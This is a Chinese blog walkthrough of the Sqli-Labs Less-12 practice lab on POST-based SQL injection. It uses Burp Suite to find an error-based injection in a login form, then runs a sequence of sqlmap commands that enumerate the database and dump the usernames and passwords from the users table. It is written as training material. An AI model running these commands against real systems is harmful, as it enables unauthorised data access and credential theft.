Sqli-Labs Less12:POST注入

打开bp抓包
Sqli-Labs Less12:POST注入
发送至Repeater,添加 \ 进行测试
Sqli-Labs Less12:POST注入
根据报错:222") 猜测查询语句:

select uname, passwd from table where uname=(“xxxx”) and passwd=(“xxxx”)

根据猜测进行注入:
Sqli-Labs Less12:POST注入
成功登陆。

使用sqlmap进一步测试

复制截取的数据包在kali中保存为新文件 sqli-labs-12

使用以下命令进行测试:
sqlmap -r sqli-labs-12 -p uname
Sqli-Labs Less12:POST注入
发现无法与服务器建立连接,在思考后发现,截取的数据包中主机为 localhost ,而复制进kali后,就应该将 主机修改为 服务器的 ip :192.168.0.104
Sqli-Labs Less12:POST注入
再次连接,成功
Sqli-Labs Less12:POST注入
继续,奥里给,干了!

还是刚才的查询语句
sqlmap -r sqli-labs-12 -p uname

其中 -r 表示从文件读取数据(read)
-p 表示用于注入的参数

查看扫描结果:
Sqli-Labs Less12:POST注入
出现了基于报错的注入,继续利用该类型的注入,指定注入类型为 error-based ,查询库内容

指定注入类型 E (error)
sqlmap -r sqli-labs-12 -p uname --technique E
Sqli-Labs Less12:POST注入
查询当前数据库
sqlmap -r sqli-labs-12 -p uname --technique E --current-db
Sqli-Labs Less12:POST注入
查询 security 库中的表
sqlmap -r sqli-labs-12 -p uname --technique E -D security --tables
Sqli-Labs Less12:POST注入
查询 users 中的字段
qlmap -r sqli-labs-12 -p uname --technique E -D security -T users --columns
Sqli-Labs Less12:POST注入
查询字段内容
sqlmap -r sqli-labs-12 -p uname --technique E -D security -T users -C "username, password" --dump
Sqli-Labs Less12:POST注入
至此。

Sqli-Labs Less12:POST注入Sqli-Labs Less12:POST注入 工科学生死板板 发布了82 篇原创文章 · 获赞 102 · 访问量 1万+ 私信 关注
上一篇:sql POST基于错误的注入


下一篇:shell或bat脚本是不是顺序执行,是多线程吗,会不等待java执行结果吗